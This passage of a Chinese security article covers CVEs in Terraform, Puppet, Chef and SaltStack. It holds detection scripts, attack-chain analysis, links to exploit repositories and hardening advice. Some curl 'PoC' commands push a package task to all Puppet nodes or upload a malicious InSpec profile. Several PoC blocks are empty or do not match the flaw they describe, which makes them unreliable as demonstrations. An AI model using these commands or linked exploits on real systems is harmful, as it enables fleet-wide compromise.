                attrs = cv.get("attributes", {})
                if "upload-url" in attrs or "upload_url" in attrs:
                    print(f"[+] {target} 存在 CVE-2021-40862: Configuration Version 暴露敏感 URL")
                    upload_url = attrs.get("upload-url") or attrs.get("upload_url")
                    print(f"[+] 敏感 URL: {upload_url[:80]}...")
                    return True
            print(f"[-] {target} 未发现敏感 URL 泄露")
        except Exception as e:
            print(f"[-] 检测异常: {e}")
    else:
        print(f"[i] 请提供 workspace_id 以进行完整检测")

    return False

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token> [workspace_id]")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    ws_id = sys.argv[3] if len(sys.argv) > 3 else None
    result = check(target, token, ws_id)
    print(f"[{'+' if result else '-'}] {target}")

0x03.2 CVE-2022-25374 — Terraform Enterprise 日志敏感数据泄露

漏洞背景

CVE-2022-25374 于 2022 年 2 月 25 日通过 HCSEC-2022-06 公告披露,CVSS 评分 7.5(High)。Terraform Enterprise 的 ptfe_atlas 容器在记录 HTTP 请求体时,将包含敏感变量(如 API Key、密码)的 Workspace 变量值写入日志,如果启用了日志转发功能,这些数据还可能被发送到外部日志收集系统。

受影响版本

产品受影响版本修复版本
Terraform Enterprisev202112-1 ~ v202201-2v202202-1

漏洞原理分析

HashiCorp 在 Terraform Enterprise v202112-1 中引入了一个可追踪性相关的改进,开始记录完整的 HTTP 请求体。此前已实现的敏感数据脱敏机制未完全覆盖这些新增的日志输出路径,导致 Workspace Variables(包括标记为 sensitive 的变量)被以明文形式写入日志。这些日志存储在 TFE 安装目录内,如果启用了 log forwarding 功能则会被转发到配置的外部目标。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2022-25374 Terraform Enterprise 日志泄露检测脚本"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token):
    """检测目标 Terraform Enterprise 是否为受影响版本"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/vnd.api+json"
    }
    try:
        resp = requests.get(f"https://{target}/api/v2/admin/tfe-version", headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            version = data.get("data", {}).get("attributes", {}).get("version", "")
            print(f"[*] Terraform Enterprise 版本: {version}")
            affected = ["v202112-1", "v202112-2", "v202201-1", "v202201-2"]
            if any(v in version for v in affected):
                print(f"[+] {target} 受 CVE-2022-25374 影响,HTTP 请求体可能被记录到日志")
                return True
            else:
                print(f"[-] {target} 版本不受 CVE-2022-25374 影响")
        elif resp.status_code == 403:
            print(f"[i] 需要管理员权限获取版本信息")
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    result = check(target, token)
    print(f"[{'+' if result else '-'}] {target}")

0x03.3 CVE-2023-4782 — Terraform CLI init 任意文件写入

漏洞背景

CVE-2023-4782 于 2023 年披露,CVSS 评分 8.8(High),影响 Terraform 1.0.8 到 1.5.6 的所有版本。当执行 terraform init 处理恶意构造的 Terraform 配置时,攻击者可以在目标系统上写入任意文件。

受影响版本

产品受影响版本修复版本
Terraform CLI1.0.8 ~ 1.5.61.5.7

漏洞原理分析

terraform init 命令负责下载 Provider 二进制文件和 Module 源码。漏洞在于 Terraform 在解压 Provider 归档文件时未正确验证归档中的文件路径,攻击者可以构造包含符号链接或路径遍历序列的恶意 Provider 归档,使得解压过程中文件被写入到预期目录之外的位置。结合恶意 Terraform 配置,攻击者可以覆盖用户 .bashrc、SSH authorized_keys 或其他关键配置文件,实现持久化或提权。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-4782 Terraform init 任意文件写入检测"""
import sys

def check(target=None):
    """打印漏洞信息"""
    print("[*] CVE-2023-4782 Terraform CLI init 任意文件写入")
    print("[*] 影响版本: Terraform 1.0.8 ~ 1.5.6")
    print("[*] 修复版本: 1.5.7")
    print("[*] CVSS 8.8 - 需要本地执行恶意 terraform init")
    print("[*] 检测方法:")
    print("    1. 检查已安装 Terraform 版本: terraform version")
    print("    2. 确认版本号 >= 1.5.7")
    return False

if __name__ == "__main__":
    check()

0x04 Puppet Enterprise 高危漏洞

Puppet Enterprise 是商业化的配置管理平台,以 Master-Agent 架构通过 Puppet Execution Protocol (PXP) 在受管节点上执行任务。Puppet Server 负责编译 Catalog 并分发给 Agent,Orchestrator 服务提供跨节点的任务编排能力。

Puppet 的安全风险主要来自 Master/Orchestrator 的权限提升漏洞和 PXP Agent 的命令验证缺陷。

0x04.1 CVE-2023-2530 — Puppet Enterprise Orchestrator RCE

漏洞背景

CVE-2023-2530 于 2023 年 6 月 7 日由 Puppet(现 Perforce)披露,CVSS 评分 9.9(Critical),是 Puppet Enterprise 历史上评分最高的漏洞之一。该漏洞存在于 pe-orchestration-services(基于 JVM 的编排服务)中,允许通过权限提升实现远程代码执行。

受影响版本

产品受影响版本修复版本
Puppet Enterprise2021.7.0 ~ 2021.7.32021.7.4
Puppet Enterprise2023.02023.2
Puppet Enterprise2023.12023.2

漏洞原理分析

Puppet Enterprise 的 Orchestrator 服务是实现跨节点任务编排的核心组件,负责接收用户发起的 Puppet Run、Task 或 Plan 请求,然后通过 PXP 协议将指令分发到 Agent 节点执行。pe-orchestration-services 是一个 JVM 服务,实现了 PXP Agent 的服务端逻辑。

漏洞存在于 Orchestrator 对任务请求的权限校验逻辑中。攻击者(即使是低权限用户)可以构造特殊的请求参数绕过权限检查,以 Orchestrator 服务的身份在目标节点上执行任意命令。由于 Orchestrator 通常以高权限账户运行,且可以访问所有受管节点,成功的利用等同于全域接管。

HTTP PoC

# 通过 Orchestrator API 执行恶意 Task
curl -k -X POST "https://<PE_URL>/orchestrator/v1/command/task" \
  -H "X-Authentication: <session_token>" \
  -H "Content-Type: application/json" \
  -d '{
    "environment": "production",
    "task": "package",
    "params": {"name": "malicious-package"},
    "scope": {"pql": "certname = \"*\""}
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-2530 Puppet Enterprise Orchestrator RCE 检测"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token):
    """检测目标 Puppet Enterprise Orchestrator 是否存在 CVE-2023-2530"""
    headers = {
        "X-Authentication": token,
        "Content-Type": "application/json"
    }

    version_url = f"https://{target}/orchestrator/v1/version"
    try:
        resp = requests.get(version_url, headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            pe_version = data.get("version", "unknown")
            print(f"[*] Puppet Enterprise 版本: {pe_version}")
    except Exception:
        pass

    inventory_url = f"https://{target}/orchestrator/v1/inventory"
    try:
        resp = requests.get(inventory_url, headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            print(f"[+] {target} Orchestrator API 可访问,需手动验证权限校验逻辑")
        elif resp.status_code == 403:
            print(f"[-] {target} Orchestrator API 返回 403,权限不足")
    except Exception as e:
        print(f"[-] 检测异常: {e}")

    print(f"[i] 此漏洞需要有效会话令牌进行完整验证")
    print(f"[i] 确保 PE 版本 >= 2021.7.4 或 >= 2023.2")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <session_token>")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    result = check(target, token)
    print(f"[{'+' if result else '-'}] {target}")

Nuclei YAML 检测模板

id: cve-2023-2530-puppet-enterprise-orchestrator-rce
info:
  name: Puppet Enterprise CVE-2023-2530 Orchestrator RCE
  author: security-researcher
  severity: critical
  description: Puppet Enterprise Orchestrator privilege escalation allowing RCE
  reference:
    - https://www.puppet.com/security/cve/cve-2023-2530-remote-code-execution-orchestrator
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cwe-id: CWE-269
  tags: cve,cve2023,puppet,enterprise,rce

http:
  - method: GET
    path:
      - "{{BaseURL}}/orchestrator/v1/version"

    matchers:
      - type: word
        words:
          - "version"
          - "pe_orchestrator"
        condition: or
        part: body

      - type: status
        status:
          - 200

0x04.2 CVE-2016-5714 — PXP Agent 命令白名单绕过

漏洞背景

CVE-2016-5714 于 2016 年披露,CVSS 评分 7.2(High),影响 Puppet Enterprise 2015.3.3/2016.x 以及 Puppet Agent 1.3.6 ~ 1.7.0。该漏洞允许攻击者绕过 PXP Agent 的命令白名单校验,在受管节点上执行任意代码。

受影响版本

产品受影响版本修复版本
Puppet Enterprise2015.3.3, 2016.x < 2016.4.02016.4.0
Puppet Agent1.3.6 ~ 1.7.01.7.1

漏洞原理分析

PXP Agent 使用白名单机制限制 Orchestrator 可以在节点上执行的命令。然而,白名单验证逻辑中存在绕过漏洞——命令验证函数未正确处理命令参数的编码和解析,攻击者可以通过构造特殊的命令格式绕过白名单检查。这使得攻击者可以从 Orchestrator 向任意 Agent 节点发送不在白名单中的命令并成功执行。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2016-5714 PXP Agent 白名单绕过检测"""
import sys

def check(target=None):
    print("[*] CVE-2016-5714 Puppet PXP Agent 命令白名单绕过")
    print("[*] 影响版本: PE 2015.3.3/2016.x, Puppet Agent 1.3.6-1.7.0")
    print("[*] 修复版本: PE 2016.4.0, Agent 1.7.1")
    print("[*] 检查节点上的 puppet-agent 版本:")
    print("    puppet --version 或 /opt/puppetlabs/puppet/bin/puppet --version")
    return False

if __name__ == "__main__":
    check()

0x05 Chef Infra Server 高危漏洞

Chef 是一套基于 Ruby 的自动化配置管理平台,由 Chef Infra Server(服务端)、Chef Infra Client(节点 Agent)和 Chef Manage/Automate(Web 管理界面)组成。Chef Server 存储所有受管节点的 Cookbook、Role、Data Bag 和节点属性数据;Chef InSpec 用于合规性扫描和安全策略执行。

Chef 平台的安全风险集中在 Server 端的权限模型、InSpec 的代码执行能力以及 Manage/Automate 的 Web 界面漏洞。

0x05.1 CVE-2017-7174 — Chef Manage 用户创建 RCE

漏洞背景

CVE-2017-7174 是 Chef 历史上最严重的安全漏洞之一,CVSS 评分 9.8(Critical),影响 Chef Manage 2.1.0 至 2.4.4。该漏洞存在于用户账号创建功能中,允许远程未认证攻击者执行任意代码。

受影响版本

产品受影响版本修复版本
Chef Manage2.1.0 ~ 2.4.42.4.5

漏洞原理分析

Chef Manage 是 Chef 的 Web 管理界面,允许管理员通过浏览器管理 Cookbook、节点和用户。用户创建功能在接受用户输入时,未对输入数据进行充分的验证和转义,攻击者可以在用户创建请求中注入恶意 Ruby 代码。由于 Manage 后端使用 Ruby on Rails 框架,注入的代码会在服务器端以 Web 服务进程的权限执行,实现远程代码执行。

Chef Manage 2.4.5 版本修复了此漏洞,对所有用户输入实施了严格的验证和白名单过滤。

HTTP PoC

# 通过 Manage API 创建恶意用户
curl -k -X POST "https://<MANAGE_URL>/api/v1/users" \
  -H "Content-Type: application/json" \
  -d '{
    "username": "test",
    "password": "test123456",
    "email": "test@test.com",
    "first_name": "test",
    "last_name": "test"
  }'

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2017-7174 Chef Manage RCE 检测脚本"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target):
    """检测目标 Chef Manage 是否存在 CVE-2017-7174"""
    try:
        resp = requests.get(f"https://{target}/", verify=False, timeout=10)
        if resp.status_code == 200:
            if "Chef Manage" in resp.text or "chef-manage" in resp.text:
                print(f"[+] {target} 运行 Chef Manage")
            else:
                print(f"[*] {target} 响应中未发现 Chef Manage 标识")
    except Exception:
        print(f"[-] {target} 无法连接")
        return False

    login_url = f"https://{target}/api/v1/login"
    try:
        resp = requests.get(login_url, verify=False, timeout=10)
        if resp.status_code in [200, 401]:
            print(f"[i] {target} Chef Manage API 可达")
    except Exception:
        pass

    print(f"[i] CVE-2017-7174 需要验证 Manage 版本 <= 2.4.4")
    print(f"[i] 请通过管理界面或 API 确认版本号")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target>")
        sys.exit(1)
    target = sys.argv[1]
    result = check(target)
    print(f"[{'+' if result else '-'}] {target}")

0x05.2 CVE-2023-40050 — Chef Automate InSpec Profile RCE

漏洞背景

CVE-2023-40050 于 2023 年 10 月 31 日由 Progress Software(Chef 母公司)通过 HackerOne 赏金计划披露,CVSS 评分 8.8(High,CNA 评为 9.9 Critical)。该漏洞允许通过 API 或 Web UI 上传恶意 InSpec Profile,在 Chef Automate 服务器上实现远程代码执行。

受影响版本

产品受影响版本修复版本
Chef Automate≤ 4.10.29最新版本

漏洞原理分析

Chef InSpec 使用人类可读的策略文件(Profile)来执行合规性扫描。Profile 使用扩展自 Ruby 的 DSL 编写,其头部区域包含 Ruby 代码。当 InSpec 执行 Profile 时,头部的 Ruby 代码会被作为正常代码执行。

在 Chef Automate 中,用户可以通过 Web UI 或 API 上传 InSpec Profile。Automate 后端使用 inspec check 命令验证 Profile 的格式和语法。问题是 inspec check 命令会执行 Profile 头部的 Ruby 代码(类似于 inspec archiveinspec export 命令),这意味着攻击者可以在 Profile 中嵌入恶意 Ruby 代码,通过上传到 Automate 触发 inspec check 时执行。

CVE-2023-42658 是该漏洞在 CLI 层面的对应版本——inspec archiveinspec checkinspec export 命令都会执行 Profile 中的恶意代码。

HTTP PoC

# 创建包含恶意代码的 InSpec Profile
cat << 'RUBY' > malicious/inspec.yml
name: malicious-profile
title: Malicious InSpec Profile
version: 0.1.0
RUBY

cat << 'RUBY' > malicious/controls/example.rb
RUBY

# 上传到 Chef Automate
curl -k -X POST "https://<AUTOMATE_URL>/api/v0/compliance/profiles" \
  -H "Authorization: Bearer <token>" \
  -F "file=@malicious-profile.tar.gz"

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-40050 Chef Automate InSpec RCE 检测"""
import sys
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check(target, token):
    """检测目标 Chef Automate 是否存在 CVE-2023-40050"""
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/json"
    }

    try:
        resp = requests.get(f"https://{target}/api/v0/version", headers=headers, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            version = data.get("build_timestamp", "unknown")
            print(f"[*] Chef Automate build: {version}")
    except Exception:
        pass

    profiles_url = f"https://{target}/api/v0/compliance/profiles"
    try:
        resp = requests.get(profiles_url, headers=headers, verify=False, timeout=10)
        if resp.status_code in [200, 404]:
            print(f"[+] {target} Compliance Profiles API 可达")
            print(f"[i] CVE-2023-40050: 恶意 InSpec Profile 上传可导致 RCE")
            print(f"[i] 确保 Automate 版本已更新到最新")
    except Exception as e:
        print(f"[-] 检测异常: {e}")
    return False

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target> <api_token>")
        sys.exit(1)
    target = sys.argv[1]
    token = sys.argv[2]
    result = check(target, token)
    print(f"[{'+' if result else '-'}] {target}")

0x05.3 CVE-2023-28864 — Chef Infra Server 备份路径信息泄露

漏洞背景

CVE-2023-28864 于 2023 年 6 月由 Progress Software 披露,CVSS 评分 5.5(Medium),影响 Chef Infra Server 12.0 至 15.6。该漏洞允许本地非特权用户通过读取 world-readable 备份目录获取 OpenSearch 数据库凭证,进而访问所有受管节点的索引数据(包括系统属性中的密码和凭证)。

受影响版本

产品受影响版本修复版本
Chef Infra Server12.0 ~ 15.615.7

漏洞原理分析

当管理员执行 chef-server-ctl reconfigure 命令时,配置文件的备份会被写入 /var/opt/opscode/local-mode-cache/backup 目录。该备份目录的权限设置为 world-readable(所有用户可读),其中包含 OpenSearch/Elasticsearch 数据库的连接凭证。本地非特权用户只需等待管理员执行 reconfigure 命令后读取备份文件,即可获取数据库凭证,然后直接连接数据库提取所有索引的节点数据——这些数据通常包含由 Ohai 收集的系统属性,如数据库密码、SSH 凭证等。

Python PoC 脚本

#!/usr/bin/env python3
"""CVE-2023-28864 Chef Infra Server 备份泄露检测"""
import sys
import os

def check():
    backup_path = "/var/opt/opscode/local-mode-cache/backup"
    print("[*] CVE-2023-28864 Chef Infra Server 备份路径信息泄露")
    print(f"[*] 检查备份目录: {backup_path}")

    if os.path.exists(backup_path):
        try:
            stat_info = os.stat(backup_path)
            mode = oct(stat_info.st_mode)[-3:]
            if mode in ['777', '775', '776', '755', '766', '765']:
                print(f"[!] {backup_path} 权限为 {mode},可能存在泄露风险")
                return True
            else:
                print(f"[-] {backup_path} 权限为 {mode},已正确限制")
        except OSError:
            print(f"[-] 无法检查目录权限")
    else:
        print(f"[-] 备份目录不存在")

    return False

if __name__ == "__main__":
    result = check()
    print(f"[{'+' if result else '-'}] CVE-2023-28864 检测完成")

0x06 公开 PoC 收集情况与利用思路

PoC 收集情况总表

CVE公开 PoC 仓库类型Metasploit活跃度
CVE-2020-11651dozernz/cve-2020-11651Python 完整利用✅ exploit/linux/misc/saltstack_salt_unauth_rce⭐⭐⭐⭐⭐
CVE-2020-11651/11652jasperla/CVE-2020-11651-pocPython 读文件+RCE⭐⭐⭐⭐⭐
CVE-2020-11652Al1ex/CVE-2020-11652Python 目录遍历-⭐⭐⭐
CVE-2021-20253mbadanoiu/CVE-2021-20253PDF 技术文档-⭐⭐
CVE-2016-9587ansible/ansible#18630Issue 讨论-⭐⭐
CVE-2023-40050chef/chef官方修复 PR-⭐⭐⭐

关键 PoC 仓库链接

  • SaltStack CVE-2020-11651 完整利用链https://github.com/dozernz/cve-2020-11651 — 支持 master/minions/fetchkeyonly 三种模式
  • SaltStack CVE-2020-11651/11652 综合利用https://github.com/jasperla/CVE-2020-11651-poc — 支持读文件、写文件、RCE
  • SaltStack 安全补丁检测器https://github.com/rossengeorgiev/salt-security-backports
  • Metasploit SaltStack 模块exploit/linux/misc/saltstack_salt_unauth_rce + auxiliary/gather/saltstack_salt_root_key
  • Ansible Tower Isolation Escapehttps://github.com/mbadanoiu/CVE-2021-20253
  • ExploitDB EDB-ID 48421:SaltStack 3000.1 RCE — 包含 CVE-2020-11651 和 CVE-2020-11652 的综合利用

防守型验证思路

  1. 被动指纹识别:Salt Master 默认端口 4505(发布)、4506(请求)、8000(API),使用 Nmap 脚本扫描 Salt 特征
  2. 版本探测:通过 Salt API 的 / 路径获取版本信息,或通过 ZeroMQ 端口发送 ping 命令
  3. 安全补丁检查:使用 salt-security-backports 工具检测已知漏洞是否已被修复
  4. 网络层防御:在防火墙上限制 Salt 端口的访问来源,仅允许已知 Minion IP
  5. 日志审计:监控 /var/cache/salt/master/jobs/ 目录中的异常 Job ID

0x07 攻击链分析:从 IaC 平台到全域基础设施接管

IaC 平台的特权模型

所有主流 IaC/自动化运维平台都采用 Master-Agent(或 Server-Client)架构,这一架构的核心假设是:Master 是可信的,Agent 无条件执行 Master 下发的指令。这导致了以下安全问题:

  • SaltStack:Salt Master 以 root 权限运行,Minion 也以 root 权限执行所有收到的命令。Master 的 root key 等同于全局 root 访问权限。
  • Ansible:Control Node 通过 SSH 以 root(或具有 sudo 权限的用户)连接到 Managed Hosts 执行 Playbook。Tower 保存了所有 SSH 凭证和 Vault Token。
  • Terraform:State 文件中包含所有资源的敏感属性(密码、密钥、连接字符串)。Terraform Provider 以用户的云平台凭证运行。
  • Puppet:Puppet Server(CA)签发和管理所有 Agent 的 SSL 证书。Orchestrator 以高权限跨节点执行任务。
  • Chef:Chef Server 索引了所有受管节点的完整属性数据,包括 Ohai 收集的密码和凭证。

认证绕过→远程代码执行→全域接管

最经典的攻击路径是 SaltStack CVE-2020-11651 展示的模式:

攻击者 ──── 端口 4506 (ZeroMQ) ──── ClearFuncs._prep_auth_info()
   │                                        │
   │                              获取 Master root key
   │                                        │
   │              ┌─────────────────────────┘
   │              │
   ├──── runner/salt.cmd ──── 以 root 身份在 Master 执行任意命令
   │
   └──── _send_pub() ──── 广播到所有 Minion 执行任意 root 命令

State 文件篡改攻击

Terraform State 文件是基础设施的"源代码真相",包含所有资源的 ID、属性和元数据。攻击路径包括:

  1. State 文件读取:通过 CVE-2020-11652 读取 State 文件,获取云平台 API Key、数据库密码等
  2. State 文件篡改:修改 State 文件中的资源属性,下次 terraform plan 时伪造变更计划
  3. State 文件投毒:在 State 中注入恶意的 provisioner,在 terraform apply 时执行任意代码

供应链投毒(Provider/Module 注入)

Terraform Provider、Ansible Galaxy Collection 和 Chef Supermarket Cookbook 都是从公共或私有 Registry 下载的。攻击路径:

  1. Typosquatting:注册名称相似的恶意 Provider(如 aws-provider vs awsprovider
  2. 账号劫持:攻破合法维护者的 Registry 账号,发布含后门的新版本
  3. 依赖链投毒:在间接依赖的 Module 中注入恶意代码

代表 CVE 案例

  • CVE-2020-11651(SaltStack):认证绕过→root key 窃取→全域 Minion RCE,LineageOS 和 Ghost 被入侵
  • CVE-2023-2530(Puppet):低权限→Orchestrator RCE→所有受管节点执行任意命令
  • CVE-2023-40050(Chef):恶意 InSpec Profile 上传→Automate 服务器 RCE→数据库访问
  • CVE-2023-4782(Terraform):恶意 Provider 归档→init 任意文件写入→持久化后门

0x08 共性攻击模式分析

模式 1:Master-Agent 架构认证缺陷

SaltStack(CVE-2020-11651)和 Puppet(CVE-2016-5714)都存在 Master 端或 Agent 端的认证/授权校验不足问题。Master-Agent 架构天然假设网络内部安全,但一旦攻击者进入内网,Master 暴露的端口和不严格的认证就成为致命弱点。

模式 2:YAML/JSON 反序列化与信任边界

SaltStack 的 ZeroMQ 消息使用 YAML/JSON 格式传输,Puppet 的 REST API 接受 YAML 数据(CVE-2013-3567),Ansible Engine 直接反序列化受管主机返回的数据(CVE-2016-9587)。所有平台都面临反序列化安全风险:当接收来自不可信来源的序列化数据时,缺乏输入验证和沙箱隔离是根本原因。

模式 3:默认凭证与配置安全

Ansible Tower 的 Memcached 未认证访问(CVE-2020-10697)、Salt Master 端口暴露(CVE-2020-11651 发现时 6,000+ 实例暴露)、Chef 的 world-readable 备份目录(CVE-2023-28864)——IaC 平台的默认配置往往偏向"可用性优先",安全配置需要人工干预。

模式 4:State 文件/Profile 信任模型

Terraform 信任其 State 文件中的所有数据,Chef 信任上传的 InSpec Profile(CVE-2023-40050),Ansible 信任 Playbook 的来源。IaC 的"声明式"哲学假设输入是可信的,但当攻击者可以控制输入(State/Playbook/Profile/Cookbook)时,整个信任链就崩溃了。

模式 5:日志与调试信息泄露

Terraform Enterprise(CVE-2022-25374)将敏感变量写入日志、Salt 模块(CVE-2021-25284)将密码记录到 minion 日志、多个平台的调试模式会暴露内部凭证——运维团队在排查问题时启用的调试日志往往成为信息泄露的根源。


0x09 应急排查与防守建议

紧急排查清单

排查项SaltStackAnsibleTerraformPuppetChef
版本确认salt --versionansible --versionterraform versionpuppet --versionchef-server-ctl version
暴露端口4505/4506/8000443 (Tower)443 (TFE)8140/8142443/8989
未授权访问ZeroMQ 4506Memcached 11211API 未授权Orchestrator APIManage API
日志检查/var/log/salt/Tower 日志TFE 容器日志PE 日志/var/log/opscode/

日志关键字段表

产品日志路径关键字段/模式
Salt Master/var/log/salt/master_prep_auth_info_send_pub、异常 Job ID
Ansible TowerTower 日志(容器/Pod)isolationawx 权限变更
Terraform Enterpriseptfe_atlas 容器日志HTTP 请求体中的敏感变量值
Puppet PE/var/log/puppetlabs/pe-orchestration/异常 Task 请求、权限校验失败
Chef Server/var/log/opscode/opscode-erchef/异常 API 调用、数据库连接

紧急缓解措施

  1. 网络隔离:Salt 端口(4505/4506)仅允许已知 Minion IP 访问,使用 iptables/firewalld 限制
  2. 版本升级:立即升级到各产品的最新修复版本
  3. 凭证轮换:Salt Root Key、Terraform State 中的密码、Chef 数据库凭证全部轮换
  4. 日志审计:检查 /var/cache/salt/master/jobs/ 和各平台日志中的异常记录
  5. 关闭调试:确保生产环境关闭所有调试模式和 verbose 日志输出
  6. 备份目录权限:Chef Server 上执行 chmod 600 /var/opt/opscode/local-mode-cache/backup

长期安全加固建议

  1. 最小权限原则:IaC 平台的 Service Account 使用最小必要权限,避免全域 root 运行
  2. 网络分段:Master/Server 部署在独立的管理 VLAN,与业务网络隔离
  3. 认证增强:启用 TLS 客户端证书认证(而非仅依赖 token),配置 MFA
  4. State 文件加密:Terraform State 使用加密后端(S3+KMS、Consul+Vault),禁止明文本地存储
  5. 供应链安全:锁定 Provider/Module 版本哈希,使用私有 Registry 审核第三方组件
  6. 持续监控:部署 SIEM 规则监控 IaC 平台的异常 API 调用和配置变更
  7. 安全审查:定期审计 IaC 配置(如 tfsec、checkov、InSpec),确保无安全缺陷
  8. 事件响应计划:制定针对 IaC 平台被攻破的应急预案,包括凭证批量轮换流程

0x0A 参考资料

  1. F-Secure Labs - SaltStack Authorization Bypass Advisory https://labs.f-secure.com/advisories/saltstack-authorization-bypass

  2. CISA Known Exploited Vulnerabilities - CVE-2020-11651 https://www.cisa.gov/known-exploited-vulnerabilities-catalog

  3. NIST NVD - CVE-2020-11651 Detail https://nvd.nist.gov/vuln/detail/CVE-2020-11651

  4. dozernz/cve-2020-11651 - PoC GitHub Repository https://github.com/dozernz/cve-2020-11651

  5. Red Hat Security - CVE-2021-20253 Ansible Tower Isolation Escape https://access.redhat.com/security/cve/CVE-2021-20253

  6. HashiCorp Security Bulletin - HCSEC-2021-25, HCSEC-2022-06 https://discuss.hashicorp.com/t/hcsec-2021-25 https://discuss.hashicorp.com/t/hcsec-2022-06

  7. Puppet Security - CVE-2023-2530 Orchestrator RCE https://www.puppet.com/security/cve/cve-2023-2530-remote-code-execution-orchestrator

  8. Chef Security Update - CVE-2023-40050 and CVE-2023-42658 https://www.chef.io/blog/important-security-update-for-chef-customers

  9. Mondoo - Chef Infra Server CVE-2023-28864 Impact and Remediation https://mondoo.com/blog/chef-infra-server-cve-2023-28864-impact-and-remediation

  10. ExploitDB - Saltstack 3000.1 RCE (EDB-ID 48421) https://www.exploit-db.com/exploits/48421

  11. Tenable - CVE-2020-11651/CVE-2020-11652 Critical Salt Framework Vulnerabilities https://www.tenable.com/blog/cve-2020-11651-cve-2020-11652-critical-salt-framework-vulnerabilities-exploited-in-the-wild

  12. SaltStack Security Announcements https://saltproject.io/security_announcements/active-saltstack-cve-release-2021-feb-25/